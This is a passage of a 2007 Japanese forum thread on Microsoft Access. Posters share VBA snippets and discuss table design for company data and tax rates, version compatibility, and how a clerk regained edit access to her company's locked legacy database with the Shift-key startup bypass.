375 :NAME IS NULL:2007/05/01(火) 17:33:59 ID:???
そりゃめでたい、金玉に感謝の気持ちをこめて
マッサーしてやれ

金玉マンセー

376 :NAME IS NULL:2007/05/08(火) 00:22:15 ID:auYB1eHk
>>308
>フォームのフィールドなども検索できれば嬉しいのだけどねえ。
>フォームやレポートの設定をテキストファイルに出力するってできないのかな?
可能。formをひとつひとつ開いて、property情報をtext出力すればよい。




377 :NAME IS NULL:2007/05/08(火) 00:54:04 ID:auYB1eHk
>376
Sub TextForm()
Dim aObj As AccessObject
Dim strObjName As String
Dim Frm As Form
Dim ctl As Control
Dim TableName As String
Dim CtlSource As String
On Error Resume Next
For Each aObj In CurrentProject.AllForms
strObjName = aObj.Name
DoCmd.OpenForm strObjName, acDesign, , , , acHidden
Set Frm = Forms(strObjName)
Debug.Print "--------"
Debug.Print "FormName:" & strObjName
Debug.Print "RecordSource:" & Frm.RecordSource
Debug.Print "<Ctl>"
For Each ctl In Frm.Controls
CtlSource = ""
CtlSource = Nz(ctl.ControlSource)
If Len(CtlSource) > 0 Then
Debug.Print ctl.Name & " <-" & CtlSource
Else
Debug.Print ctl.Name
End If
Next
DoCmd.Close acForm, aObj.Name, acSaveNo
Next aObj
End Sub


378 :NAME IS NULL:2007/05/09(水) 09:21:23 ID:cTc4gn5y
割り込んですみません。困っているので助けてください。
会社の移転に伴い 今使用している請求書等に書かれている住所を書き変えたいのですが、
このデータベースを作ってくれた会社がツブれたみたいで連絡が取れません。
フォーム等がいじれないようになっているので どこをどうしていいのか...。
コピーも出来ないのでバックアップも今までしていなかったそうです。
どうしたらよいか教えてください、お願いします。

379 :NAME IS NULL:2007/05/09(水) 09:48:36 ID:Hwk8Dz8x
>>378
自力で新しく作っちゃいなさい。

380 :NAME IS NULL:2007/05/09(水) 09:51:07 ID:???
>>378
パスワード解析するのが速いよ
有料でやってくれる会社もあるし

http://www.password-crackers.com/

381 :NAME IS NULL:2007/05/09(水) 09:54:24 ID:MWLDsdHv
今 使用中の物を元に作る事って出来るでしょうか。参考書はもってるんだけど 知りたい事 やりたい事がかいてなくて。

382 :381も378です。:2007/05/09(水) 10:04:25 ID:MWLDsdHv
>>380 ありがとう。
ただ 社長的には「たかが住所変更だけで金払うかっ」らしくて 私がやらなきゃならなくなりました。出来ないといったのに「やれ」と…。
パスワード解析って 私にも出来るかなぁ…

383 :NAME IS NULL:2007/05/09(水) 10:16:25 ID:???
会社横版ゴム印の住所変えて作り直すだけで数万円だろ
週十ドルくらい払ったら?

384 :NAME IS NULL:2007/05/09(水) 10:21:25 ID:???
>>378
つかファイルの拡張子、MDBになってるか?
MDEなんじゃないか?
だとしたらあきらめた方が良いと思われwww

385 :378です:2007/05/09(水) 10:28:19 ID:MWLDsdHv
>>384 ありがとう。今日 私会社休みなんで確認はしてないんだけど 確かMDBでは無かった気がします。

386 :NAME IS NULL:2007/05/09(水) 11:04:41 ID:???
>>384
MDBじゃないなら無理っす。
例えば、データ用のMDBが別にある・iniやレジストリの設定があるかも。
そして、住所がそのあたりに登録されていて変更可能、なのであれば
割と簡単に直せるが、へっぽこな奴らが作ったとしたら固定で住所を
埋め込んじゃってるかもなぁ。

387 :またもや378です:2007/05/09(水) 11:08:25 ID:MWLDsdHv
…気になって会社に電話して聞いてみたら…MDBだった…。ショック…
しかも始めから作り直せと指令がくだってしまった。
今まで返事下さった方々 どうもありがとうございました。
今から参考書買って来て勉強しますので また色々 教えて下さいね。

388 :378:2007/05/09(水) 11:13:56 ID:MWLDsdHv
>>386 !!?っ MDBだと直せるんですか???

389 :NAME IS NULL:2007/05/09(水) 11:35:34 ID:???
>>388
MDBなら何とかなる可能性もあるけど、
データベースパスワードが分かんないことには何とも。

MDEとかパスワード付きMDBでも、
外部に置いてる固定データ表示用のMDBや
iniファイルを参照してたりすると、
そこを書き換えれば何とかなる可能性も高い。

いずれにせよ、ファイル構成とデータ構造が
把握できてないと難しいと思うし、
なによりMDBのパスワードが分からないなら
既存画面と表示データから作り直す方が早いかもしれん。


390 :NAME IS NULL:2007/05/09(水) 11:41:52 ID:???
>>389
とりあえず、ACCESSのバージョンにもよるけど、
「パスワード MDB 解析」とかでググって、
出てきたパスワード解析ソフトを
試用版でも良いから片っ端から試してみたら?


391 :《388です》:2007/05/09(水) 11:48:59 ID:MWLDsdHv
>>389 返答ありがとう。頑張ってやってみるね。
また教えて下さいねっ!

392 :NAME IS NULL:2007/05/09(水) 12:49:51 ID:???
どうせパスワードなんかかかってないだろ。

393 :NAME IS NULL:2007/05/09(水) 16:00:07 ID:???
Shiftキー押しっぱなしでMDBファイル開いたら編集できました、
なんてオチじゃないよな?・・・・な?

394 :NAME IS NULL:2007/05/09(水) 16:37:14 ID:ZKbXPm7T
つぶれた会社の社長の行方を捜して対応させるのが一番。

http://www.sereno-japan.co.jp/?OVRAW=%E5%88%9D%E6%81%8B%E3%81%AE%E4%BA%BA%E6%8E%A2%E3%81%97%E3%81%BE%E3%81%99&OVKEY=%E5%88%9D%E6%81%8B%20%E4%BA%BA&OVMTC=advanced

395 :NAME IS NULL:2007/05/09(水) 16:55:20 ID:???
>>393
おおばかやろう、貴様みたいな金玉野郎とはものがちがうんだよ、ものが
おまえの金玉臭くて、ちっぽけなもんだろう

おまえの金玉なんかつぶすぃちゃえ

396 :NAME IS NULL:2007/05/09(水) 22:31:23 ID:FkBDFp9X
なんだ、図星か・・・

397 :NAME IS NULL:2007/05/09(水) 22:41:49 ID:???
>コピーも出来ないのでバックアップも今までしていなかったそうです。

というかみんなこれスルーしてるけどPC逝ったらどうすんだコレw

398 :NAME IS NULL:2007/05/09(水) 22:43:14 ID:???
コピー出来ないってあり得るのか?

399 :NAME IS NULL:2007/05/09(水) 22:53:04 ID:???
> ただ 社長的には「たかが住所変更だけで金払うかっ」らしくて 私がやらなきゃならなくなりました。出来ないといったのに「やれ」と…。

「私」の人件費が余計に掛かる罠w

400 :NAME IS NULL:2007/05/10(木) 01:08:54 ID:???
なんでも自分のところでやれば、安上がりだなんて考えるのは
ドクソの会社の典型だよなぁ。
斯く言う俺の会社もそうなんだが。


401 :《388です》:2007/05/10(木) 01:16:52 ID:B8Hmp606
こんばんわ。<<388です。『コピー出来ない』件ですが、HDやCDRにコピーするとエラー表示がでてしまうのです。
んで、6、7年前にたまたまコピー出来たCDRがあったんで、私んちに持ってきて開けてみたら
請求書のレポート表示をしたら「コンパイルエラー」だのなんだのって言って「デパックは中断」でなかなか閉じれなくなちゃいました。
ほんと、今日も怖い状態で大事な経理をこのデータベースにまかしてるんです。
<<399、だよね(笑)。ド素人の私がそう簡単に作れるわけ無いのにね。
<<399 シフトキー押しながら・・・ってゆうの、明日やってみよっと。



402 :《388です》:2007/05/10(木) 01:19:34 ID:B8Hmp606
>>401・・・・アンカーの向きが違ってた。恥ずかしいwww

403 :NAME IS NULL:2007/05/10(木) 07:04:18 ID:???
>>401
それはね、コピーできないというよりか、
コピーは出来るが、そのデータベースで必要とされるものすべてを
コピーしていないからエラーが出ているだけ。

きっと参照設定でエラーが出ているものをインストールすれば動くだろう。

知っている人(いわゆるAccessのことを知っているプログラマ)が
やれば、調査の必要はあるが、コピーできるし、
たぶんパスワードもかかっていない。

保証はしないけどw

404 :NAME IS NULL:2007/05/10(木) 07:09:51 ID:???
それと作業前にバックアップは取って置けよ。

たとえ動かないと思っていても、分る範囲で取って置け。
間違ってもショートカットファイルだけをバックアップして終わるなよ。
関係しているファイル全部だ。

できるのならHDD全体のバックアップを。

405 :NAME IS NULL:2007/05/10(木) 10:13:18 ID:4KbA7jnP
俺のところの社員は勝手に800MBのアクセスデータをファイルサーバにおいてた。
アクセスをファイルサーバに置いたりするとネットワークに負荷がかかるので止めて欲しいよ

406 :NAME IS NULL:2007/05/10(木) 14:50:49 ID:???
で、>>388のオチを期待してwktkしてるわけだがwww

>>405
JETの仕様が糞なので仕方ない罠

407 :NAME IS NULL:2007/05/10(木) 22:33:40 ID:???
なんか、378のDBってランタイムで動いているような予感。
6〜7年前にはすでにあったとすると、97あたりか。
2000もぎりっちょかかりそうだが、まだ出たばかりのはずなので
恐らく使用されていないだろう。
378がもっているACCESSは2000以降だろうから
VBA使われていたら、まず動かないんじゃないか。

408 :NAME IS NULL:2007/05/11(金) 00:39:26 ID:EQTUp1VS
そんな技術がある開発者ならば、社名変更、住所変更等のためのプログラムを
用意しているはず。MENUのマスター保守とかの中をすべて調べてみたら?

409 :NAME IS NULL:2007/05/11(金) 00:58:35 ID:???
開発スキルの高さと、入出力インタフェースの汎用性に相関関係はないと思われ。

410 :NAME IS NULL:2007/05/11(金) 02:14:54 ID:???
社名・住所・郵便番号・電話番号・FAX番号etcの値はテーブルに登録して
レポート内には直で埋め込まないだろ。

開発のセオリー的に考えて・・・

411 :NAME IS NULL:2007/05/11(金) 07:10:55 ID:???
>>410
普通はね。

412 :NAME IS NULL:2007/05/11(金) 07:24:59 ID:EQTUp1VS
業務システムならシステムの仕様書とかないのか?

413 :NAME IS NULL:2007/05/11(金) 09:10:11 ID:H5BveomZ
やけにスレが盛り上がるな。皆、これに近い経験しているのかな。

414 :NAME IS NULL:2007/05/11(金) 09:42:10 ID:???
>>412
普通は無い

415 :NAME IS NULL:2007/05/11(金) 09:48:48 ID:???
>>410
そのために一々テーブル設計して、入力用の画面まで用意するぐらいなら、
レポートを管理者権限で編集可能にするほうが誰にとってもありがたい気が...

レポートって以外にアナログな存在で、結局使う項目が増えたり、減ったり、
項目長が加減したり、プリンタ変えたら微調整しなきゃいけない場合もあるんだし。

416 :NAME IS NULL:2007/05/11(金) 10:16:35 ID:???
極論言ってしまうと、帳票はシステム屋に頼まないで、
・DBをACCESS以外にする。(SQL Server / Oracle / DB2 など・・・)
・システムはACCESSだろうが.NETだろうがC++だろうが何でも良いから作り込むwww
・テーブルのデータ構造をエンドユーザーが完璧に把握する。
・エンドユーザーが手前で自由にレポート作る。
とした方がよっぽど柔軟な運用ができる。

ただ、エンドユーザーがせっかく金出すんだから・・・って変な色気出して、
設計時点での帳票出力だけを前提に業者にレポート作らせるからおかしくなるwww


417 :NAME IS NULL:2007/05/11(金) 11:05:00 ID:???
だから桐にしとけとあれほど、、

418 :NAME IS NULL:2007/05/11(金) 11:52:11 ID:TzUBk9ct
今までAccessはデータをわけてなかったんだが
このスレ見て結構やばかったんだなって思った。

データベースの部分をSQL Serverなどに移行するのって
結構大変なのかな?
まだSQL Server自体よくわかってないんだが

419 :NAME IS NULL:2007/05/11(金) 12:08:23 ID:???
>>418
本質的な話はともかく、「動けばいい」レベルなら、クエリをViewに書き換える(SQL文書く)スキルさえあれば、
MSDE+ACCESSプロジェクトでほぼ同じ動作。

420 :NAME IS NULL :2007/05/11(金) 12:22:07 ID:???
使うやつが糞なら何使っても糞。
日本だめだめだわw

421 :NAME IS NULL:2007/05/11(金) 14:53:17 ID:???
> DBをACCESS以外にする。(SQL Server / Oracle / DB2 など・・・)

Accessを知らない社員に修正をさせるような会社に、
SQL Server / Oracle / DB2のライセンスなんて
払えるわけ無いだろ・・・

> ・テーブルのデータ構造をエンドユーザーが完璧に把握する。
Accessを知らない社員(略

> ・エンドユーザーが手前で自由にレポート作る。
Accessを知らない(略

422 :NAME IS NULL:2007/05/11(金) 15:49:11 ID:TzUBk9ct
mySQLっていうのはどうなの?
それは無料なのかな・・・

今までローカルでしかAccess使ったことなくて
サーバーでやってみようと思ってるのだが
なにから勉強すればいいのかさっぱりわからんちん><

423 :NAME IS NULL:2007/05/11(金) 17:06:17 ID:???
それくらい自分でぐぐれよ

424 :NAME IS NULL:2007/05/11(金) 18:11:32 ID:???
>>422
> mySQLっていうのはどうなの?
> それは無料なのかな・・・

個人は無料、企業は有料。まあ、どこまでが個人なんだかわからないし、
そんなことチェックできるはずもないけど、
企業では堂々とは使えないな。

> 今までローカルでしかAccess使ったことなくて
> サーバーでやってみようと思ってるのだが
> なにから勉強すればいいのかさっぱりわからんちん><

mySQlでデータベース作って、Accessでリンクすれば割と簡単に使えるよ。
ただ、その使い方でどのくらいの意味があるのかよくわからん。
データーが壊れにくくなるくらいの意味はあると思うのだが?


425 :NAME IS NULL:2007/05/11(金) 18:17:48 ID:uSPS2vVf
俺は基本的にAccessのレポートは使用しない。
Excelに雛形を作っておいて、Cellにデータを流し込むってやりかた。
Accessのレポートは軽快だが、ユーザが全くいじれないのが気に食わん。

426 :NAME IS NULL:2007/05/11(金) 18:21:49 ID:???
>>425
>>ユーザが全くいじれないのが気に食わん。

いじれるようにすればいいじゃん。
Excelは使えるのにAccessは使えないと決めつけるのは同課と思うが・・・

427 :NAME IS NULL:2007/05/11(金) 18:46:15 ID:???
>>426
Excel使えてAccess使えないってやつのほうが圧倒的に多いって話だろう?
なんだかんだいってもAccessのレポート機能は優れている。
しかし、エンドユーザーの誰でも使えるかというと話は別。


428 :NAME IS NULL:2007/05/11(金) 20:07:45 ID:???
Accessはレポートは作るためのものであり、
帳票は作るためのものじゃない。

ユーザーが望んでいるものは多くは帳票。
使いづいらいったらありゃしない。

429 :NAME IS NULL:2007/05/11(金) 20:18:14 ID:???
>>428
そんなあなたにお薦めなのはやっぱり桐。
日本語ワープロでできることならほとんど出来る。
まあ、Accessで入力して桐で出力というのもなんだかなあって話だ。


430 :NAME IS NULL:2007/05/11(金) 22:39:06 ID:Ix3SDCtK
>>416
>テーブルのデータ構造をエンドユーザーが完璧に把握する

ユーザにクエリをつくらせるってこと?
それよりも、検索条件を指定させて、結果をcsvで返すような設計のほうがよい。
あとは、ユーザはExcelの機能を駆使して自由に帳票をつくってもらえばよいだけ。


431 :NAME IS NULL:2007/05/11(金) 22:41:22 ID:???
桐が良いんじゃねーの、わしもそーおもうよ。

432 :NAME IS NULL:2007/05/12(土) 01:29:54 ID:???
>>415
たとえばmdbの中にレポートが100個あったとして、そのうちのn個のレポートで
自社の電話番号を印字してたとして、電話番号が変わった場合に100個のレポートを
片っ端からデザインビューで開いてn個のレポートを特定する作業はかなり面倒。

開発の規模が大きくなればなるほど直埋め込み法は泣きを見ることになるよ。

433 :NAME IS NULL:2007/05/12(土) 08:15:20 ID:???
>>432
その規模の開発ってAccess向きなのか?
100個のレポートを管理するようにAccessが出来ているとも思えないが?
>376 の方法を使えば済むことだし・・・・・


434 :NAME IS NULL:2007/05/12(土) 08:55:31 ID:???
>>432
後だしずるいなぁ....w
さすがに100個もあれば、テーブルなりiniファイルなり使うだろww

435 :NAME IS NULL:2007/05/12(土) 17:27:05 ID:???
要するに今はそれでよくても将来変わりそうな要素には備えるべしって話だろ。
おまえらまさか消費税も0.05決め打ちでコーディングとかしてるんじゃないだろな?

436 :NAME IS NULL:2007/05/12(土) 17:35:08 ID:???
>>435
内税表記が主流になってから
意識してないよwww


437 :NAME IS NULL:2007/05/12(土) 17:38:23 ID:???
>>435
レポートに固定で埋め込んで、後で修正すればいいって考えだと
消費税なんかも固定でやっちゃうような気がする。
会社(or 自社)マスターを用意してFormを作って、というのがナン
センス的に書き込まれてるけど、後々を考えたら速攻作れるForm
なんだから用意した方がいいとオレは考える。


438 :NAME IS NULL:2007/05/12(土) 17:40:12 ID:???
>>436
内税表記でも、消費税を除いた売り上げがいくらとか
管理資料上は消費税分の計算は入るだろ。

439 :NAME IS NULL:2007/05/12(土) 22:10:39 ID:dn02vm0K
消費税率も単に率だけのフィールドじゃなく、日付と率のテーブルを用意すべきだぞ。

日付,消費税率
H01/04/01,3
H09/04/01 ,5

440 :NAME IS NULL:2007/05/13(日) 12:56:48 ID:???
>>437
まぁ、結局バランスの問題なんだけどな。
1年しか使わんようなツールもどきならガンガン固定でオケだし、それこそ上の
100レポートだの、あやしい通販会社で会社名が月に1回は変わります、だったらテーブルで持てばよいw

441 :437:2007/05/13(日) 13:20:15 ID:???
>>440
極端な例だけど、同意。
通常は、1年しか使わないよって前提で開発することはないから、
マスター化するけど。あと、帳票を自由に加工したいという要望が
あればExcelに出力してましたね。表形式の体裁はちゃんと整え
てあげて、その後はお好きにどうぞって。

442 :NAME IS NULL:2007/05/13(日) 16:35:53 ID:???
>>439
いや、商品の値段があるところ全てに
消費税(率ではない)を書いておくべきだろう。

率でないのは小数点以下をどうあつかうか決まってないから。

443 :NAME IS NULL:2007/05/13(日) 23:20:19 ID:pEQ6o3Oe
>>440

その状況に応じて最適な手法を採用するというのは、一見優れているように見えるが実はそうではない。
保守管理すべき対象が膨大になってくると、最適でなくても標準化されたワンパターンを採用しているほうが
後々の保守の負担が少なくてすむからだ。


444 :444:2007/05/14(月) 00:31:06 ID:Jn92LTQp
444げこ

445 :NAME IS NULL:2007/05/14(月) 00:36:06 ID:???
>>443
データ構造を標準化したところで、プログラムロジックが標準化できないんだから、
システムが増えれば保守の負担は比例だろ。

446 :NAME IS NULL:2007/05/14(月) 07:40:37 ID:???
概して小規模案件ほど
(既存のパッケージとか既存のシステムからの)
カスタマイズ要求が顕著。



447 :《388です》:2007/05/15(火) 02:24:29 ID:uPjBZu/Y
こんばんわ。>>388です。急に入院する羽目になって今日から出勤し、念願の『シフトキー押しながら...』というのをやってきました!!
   そしたら開きましたッ!!!!!  
>>393さん、マジでありがとうっm(_ _)m。無事 住所などの変更が出来ました。
ただ、>>403さんの言っている「参照設定でエラーが出ているものをインスト・・・」の仕方がわからないので また参考書とにらめっこしなきゃなりませんが。
それにしても、ここで色々と教えてもらえて 本当に助かりました。
ありがとうございました。

448 :NAME IS NULL:2007/05/15(火) 03:01:04 ID:???
まじですか・・・・・

449 :NAME IS NULL:2007/05/15(火) 08:08:21 ID:???
>>447
乱暴な言い方だけど、、、、、





市ね

450 :NAME IS NULL:2007/05/15(火) 08:28:23 ID:???
みんないつかは死ぬんだ
もう少し待ってやれ

451 :《447です》:2007/05/15(火) 15:53:31 ID:oH9qshL4
>>449、そんな意地悪なこと言わないで 私 時給800円なんだから…

452 :NAME IS NULL:2007/05/15(火) 16:16:05 ID:???
じゃ、仕方ないな

453 :NAME IS NULL:2007/05/15(火) 16:26:36 ID:z83gsP/4
偉大なソフトであるACCESSを使う仲間ではないか。仲間割れしてはならぬ。

454 :NAME IS NULL:2007/05/15(火) 22:04:10 ID:???
>>451
shift起動も知らん馬鹿なのは置いておいて、曲がりなりにもAccessで仕事してるなら、
もっと時給のいい仕事に移れ、アホ。ちゃんと探せばどんな馬鹿でもAccessで簡単な
ツールぐらい作れるレベルで1500円は堅い。さっさと転職しろ。

455 :ac:2007/05/15(火) 23:31:19 ID:RFr/LqtV
一見の取引先をわざわざマスター登録せずに,取引先コードを例えば9999の
ように入力したら任意の取引先名を入力できるようにしたいのですが,どの
ようにすれば実現できるでしょうか。
親切な方教えて下さい。

456 :NAME IS NULL:2007/05/15(火) 23:34:36 ID:???
>>455
そういう場合は、バーチャル・エンティティ。

457 :NAME IS NULL:2007/05/15(火) 23:37:45 ID:cN7jyBxU
>>455
1.伝票テーブルに取引先コードと取引先名を用意する。
2.取引先コードが取引先マスターに存在すれば、取引先名を複写する。
3.なかったら、取引先名に SetFocus し手入力する。

で、OK?


458 :NAME IS NULL:2007/05/15(火) 23:45:57 ID:???
1ヶ月でデータが1GB超になってしまうため
月ごとでmdbを作っています。
しかし検索は1年間分のデータに対して行いたい。
そこで考えたのがリンクテーブルのリンク先を変えて
検索をかけること。
ここで質問なんですが、リンク先を変えた場合
rs2のOpen〜Closeは必要ですか?


現状 ADO使用

rs1 'リンク先のmdb名が登録されているテーブルのレコードセット
rs2 '検索対象のテーブルのレコードセット

Do Until rs1.EOF
ret = LinkCng(rs!DB名) 'リンク先変更
. rs2.Open "SELECT * FROM T2 WHERE 検索フィールド = " & Me!txt検索
. If rs2.RecordCount <> 0 then
. exit Do
. Else
. rs2.Close: Set rs2 = Nothing
. End If
. rs1.MoveNext
Loop

コードはこんな感じ。


459 :ac:2007/05/15(火) 23:53:25 ID:RFr/LqtV
>>456
バーチャルエンティティって検索してもいまいちわかりませんでした。
もうちょっとヒント下さい。お願い。

>>457
この方法はつまり,伝票テーブルと取引先マスターとの間にリレーション
シップを設定しないということですか?代わりにプログラム書くのでしょ
うか?

460 :NAME IS NULL:2007/05/16(水) 00:56:18 ID:???
>>457 の方法は、その後データをどうするか・集計は?等
詰めて考える必要があるぞ。
手入力されたら、取引先マスターに自動追加が楽かも。
それでも、細かいところはいろいろと思案する必要有り。

リレーションどうこう問いかける前に、内部で別コード管理
したらどうだろうかとか自分の頭で考えてみろ。

461 :NAME IS NULL:2007/05/16(水) 01:34:29 ID:???
取引先に限った話じゃないけど大口はマスター登録、その他大勢の小口は
その他コード一本で一括登録って手法での運用はわりとよくあるな。

この場合マスターにはコード+マスター名称、伝票にはコード+手入力名称を設けて
レポート等には[マスター名称] & [手入力名称]を取引先名として表示するようにしとく。
後日小口が大口に昇格(?)するようなら手入力名称を頼りに伝票のコードをSQL一撃で更新。

462 :ac:2007/05/16(水) 01:47:04 ID:Qxh0gWGM
>>461
なるほど。
その方法いいですね。ありがとうございます!
できるだけプログラム組まずにすましたかったんですよ。

463 :NAME IS NULL:2007/05/16(水) 07:20:10 ID:???
>>458
素直にSQL ServerとADPに移行した方が良い。

まぁ、サーバ側の物理設計きちんとやらないと、遅くなると思うがな。




464 :NAME IS NULL:2007/05/16(水) 13:26:28 ID:In309b/B
ACCESSの次のバージョンでバイトの制限が見直し有るのだろうか。個人のシステムでも問題になりつつ有るんだが。

465 :NAME IS NULL:2007/05/16(水) 13:59:26 ID:???
ない

466 :NAME IS NULL:2007/05/16(水) 19:16:30 ID:4FJ7gYrD
>457

Private Sub 取引先コード_AfterUpdate()
If IsNull(取引先コード) Then Exit Sub
Dim w取引先名
w取引先名 = DLookup("取引先名", "取引先", "取引先コード=" & 取引先コード) '取引先コードが数値型の場合
'w取引先名 = DLookup("取引先名", "取引先", "取引先コード='" & 取引先コード & "'") '取引先コードがテキスト型の場合
If Len(w取引先名) > 0 Then
Me.取引先名 = w取引先名
Else
Me.取引先名.SetFocus
End If
End Sub

これをフォームにコピペしろ。リレーションは不要。



467 :NAME IS NULL:2007/05/17(木) 00:22:53 ID:???
↑たぶん、動かない。

468 :NAME IS NULL:2007/05/17(木) 02:06:54 ID:zd7uKJff
>>467

どこにバグがあるのか指摘してくれ。

469 :NAME IS NULL:2007/05/17(木) 08:21:08 ID:???
>>468
変数名に漢字使うのぉ〜〜〜

推測だが(というか揚げ足取りになるか???)、フィールド名などが
本当に質問者のと一致しているか程度じゃないのかな。
コピペしろって書いてるから、質問者のレベルだと修正せずに動きま
せんってなるかも。

それはおいといて、自分ならコードのところはコンボにします。
DLookup使わなくて済むし。

470 :NAME IS NULL:2007/05/17(木) 08:50:58 ID:zd7uKJff
>自分ならコードのところはコンボにします。

コードというのは、取引先コードのことなのかVBAのcodingのことなのかどっちだ?



471 :NAME IS NULL:2007/05/17(木) 09:05:55 ID:Few7PPbj
聞かないと解らないの?

472 :469:2007/05/17(木) 09:40:30 ID:???
>>470
すまんすまん。取引先コードの方だ。フィールド名とごっちゃになるんで、
あまりVBAの方をコードって言ってないから、内輪の感覚で通じると思って
しまった。

473 :NAME IS NULL:2007/05/18(金) 00:48:48 ID:???
ReDimでもないのにプロシージャの途中でDimされると気持ち悪いな。
あとDimでAs以降を省略すると暗黙でVariantだったんだっけ?
つうか省略すんなと。

474 :NAME IS NULL:2007/05/18(金) 01:21:01 ID:ctaVCHX9
>>473
Dim w取引先名 As String

なんて指定したら、Nullが返ってきた時のエラー対策がめんどくさいだろうが。
便利なもんはなんでも使わんかい。

475 :NAME IS NULL:2007/05/18(金) 02:04:58 ID:???
使うなって意味じゃなくて、使うなら使うでAs Variantって明示的に書けって言ってるんだよw

Nullが返ってきた時のエラー対策っていうけど、マスター未登録かどうかを調べたければ
DLookupの結果がNullかどうかじゃなくてDCountの結果が0かどうかを見るべきだろ。

そもそも元質問者の意図はその他コード(この場合は9999)が使用された時にだけ
別のロジックを適用したい、って意味だったはずなのになんで条件式が
マスター名称の長さが0より大きい時以外、なんて曲解された判定になってるんだ。

これだと正規の取引先のマスター名称にNullや空白が許されるようになったらアウトだし、
取引先コード9999のマスター名称がNullじゃなくて"その他の取引先"とかになってもアウト。
それから単純な入力ミスで例えば1101と入力するのが正解のところを間違えて
マスター未登録の1011とかいう値を入力されてもロジック暴発。

最初の変数宣言の部分も含めて、もっとちゃんと考えてコーディング汁。

476 :NAME IS NULL:2007/05/18(金) 02:40:43 ID:ctaVCHX9
>>475

まいった。降参だ。これではどうだろう。


Private Sub 取引先コード_AfterUpdate()
If IsNull(取引先コード) Then Exit Sub
If 取引先コード = 9999 Then
Me.取引先名.SetFocus
Else
Me.取引先名 = DLookup("取引先名", "取引先", "取引先コード=" & 取引先コード)
End If
End Sub


477 :NAME IS NULL:2007/05/18(金) 09:03:05 ID:OLfFEbRE
>>439
ちょっと前のんに質問だけど、
それを今日の日付で取る最良の方法ってこんな感じ?

 1.今日以前の日付のうち最大の日付を取る。
 2.1で取った最大日付とひとしい日付の消費税率を取る。

これって、同じテーブルに対して2回検索する感じになるんよね。
一発ですっきりとれる方法ってないかなぁ。。


478 :NAME IS NULL:2007/05/18(金) 09:45:35 ID:ctaVCHX9
消費税率表を元に下記のクエリをつくる。(消費税率表クエリとする)

SELECT 消費税率 FROM 消費税率表 ORDER BY 日付 DESC;

※日付を降順にするのがポイント。DLookup関数は最初のレコードを取得するため



Me.消費税率 = DLookup("消費税率", "消費税率表クエリ", "日付<=#2007/05/19#")




479 :NAME IS NULL:2007/05/18(金) 17:58:41 ID:tgEpKtEr
winxp/Access2003で作成したmdbをvista/Access2007で利用してから
再度winxp/Access2003の環境で、開こうとしたらデータベース ウィンドウが
表示されなくなってしまった。

誰かボスケテ。

以前から貼られているリンクテーブルで見てみると、データは、まだ存在している様です。
パスワードが設定されてありまして、こちらは起動時に正常に聞かれます。
単独起動/Shift押し/排他起動試してみましたが、全てデータベース ウィンドウは
表示されません。
また、一応コピってから最適化してみましたが、改善は見られませんでした。。

なんとなく以下のURLが怪しそう何ですが、いまいちクリティカルにヒットしません。
ttp://office.microsoft.com/ja-jp/access/HA012138751041.aspx?pid=CH100621861041


誰かボスケテ-!。

480 :NAME IS NULL:2007/05/18(金) 18:05:19 ID:ibb1LegY
>478

訂正

誤->SELECT 消費税率 FROM 消費税率表 ORDER BY 日付 DESC;
正->SELECT 日付,消費税率 FROM 消費税率表 ORDER BY 日付 DESC;



481 :NAME IS NULL:2007/05/18(金) 18:21:25 ID:???
>>479
新規で空のmdbを作成してインポートしる


482 :NAME IS NULL:2007/05/18(金) 18:46:41 ID:???
>>481
おお、ありがとうゴザマイマス。
試してみます。

というか今実行してみました。

ちょっと時間が掛かりそう。。

直ってクレー

483 :NAME IS NULL:2007/05/18(金) 19:11:11 ID:???
>>481
ヤッター!!
ありがとう御座います。

復旧できました。
(参照は後から再度設定しましたが)

助かりました。


しかしこれから2007との共存の問題はどうしよう。。。

484 :NAME IS NULL:2007/05/18(金) 20:38:10 ID:ibb1LegY
Accessに限らず、Word,Excelでも同様の問題がおきている。

Service Packが出るまでは、相互運用はやめといたほうがよいだろう。


485 :NAME IS NULL:2007/05/18(金) 21:05:25 ID:???
マイクロソフトの製品がはじめからまともに動くわけが無い。
これ常識中の常識。
だから買うなとかマイクロソフト氏ねとか言いたいわけじゃない。
そんなものだってだけの話。


486 :NAME IS NULL:2007/05/18(金) 21:41:15 ID:???
難題に行き詰っている。アドバイスを求める。

[やろうとしていること]
タスクスケジューラで夜中の1時に、
「nwind.mdb」というファイルを開き、
「売上伝票」というテーブルに
「売上.CSV] というテキストファイルを追加し、
自動終了させる。

[補足]
セキュリティのため「nwind.mdb」には「Sysdb.mdw」という名前のワークグループ情報ファイルを使っている。
使用ツールはVB か VBS か ACCESS2000のどれか検討中
DAO を使う。

[問題点]
MSDNでは、

>Sub DAOOpenSecuredDatabase()
> Dim wks As DAO.Workspace
> Dim db As DAO.Database
> DBEngine.SystemDB = "c:\sysdb.mdw"
> Set wks = DBEngine.CreateWorkspace("","Admin", "password")
> Set db = wks.OpenDatabase("c:\nwind.mdb")
>End Sub

でワークグループ情報ファイルを変更できるかのように記述されているのだが、
DEBUG.PRINT DBEngine.SystemDB
してみると、レジストリの
C:\PROGRA~1\COMMON~1\System\SYSTEM.MDW
のまま変更されず開くことができない。

http://www.microsoft.com/japan/msdn/data/techmat/ado/dao2ado_2.aspx


487 :NAME IS NULL:2007/05/18(金) 21:50:10 ID:???
ワークグループ情報ファイル って関係あるのか?

488 :NAME IS NULL:2007/05/18(金) 22:49:58 ID:???
「nwind.mdb」中略「売上伝票」中略「売上.CSV]以下略って質問と関係あるのか?

489 :NAME IS NULL:2007/05/19(土) 00:53:08 ID:???
アクセスはビューやシノニムやストアドプロシージャが
使えないから嫌だなw

490 :NAME IS NULL:2007/05/19(土) 00:57:06 ID:???
>>489
ビューのことをクエリって呼ぶんだよ。

491 :NAME IS NULL:2007/05/19(土) 01:20:39 ID:???
ストアドはVBAだな。

シノニムは、そうだなあ、テーブルそのまんまの
クエリ作って好きな名前つけときゃいいよ。

492 :NAME IS NULL:2007/05/19(土) 01:23:35 ID:???
厳密にはそうだろうが、言いたいことは分かるw
accessがSQL-92に完全準拠とは言わないが、Transact SQLには準拠して欲しい。

493 :NAME IS NULL:2007/05/19(土) 01:52:27 ID:???
>>486
Microsoft Access でコマンド ライン スイッチを使用する方法
http://support.microsoft.com/kb/209207/ja

読めば分かるが、Accessにはコマンドラインでユーザー名、パスワード、
ワークグループ情報ファイル、マクロを指定できる。
だからツールとしてAccessを使うのであれば、必要な処理をVBAで書いて
そのエントリーポイントを呼び出すマクロ(プロシージャの実行)を作成
しておけばおk?

494 :NAME IS NULL:2007/05/19(土) 12:32:18 ID:???
最近必要に迫られてTransact SQL使ってるんだが
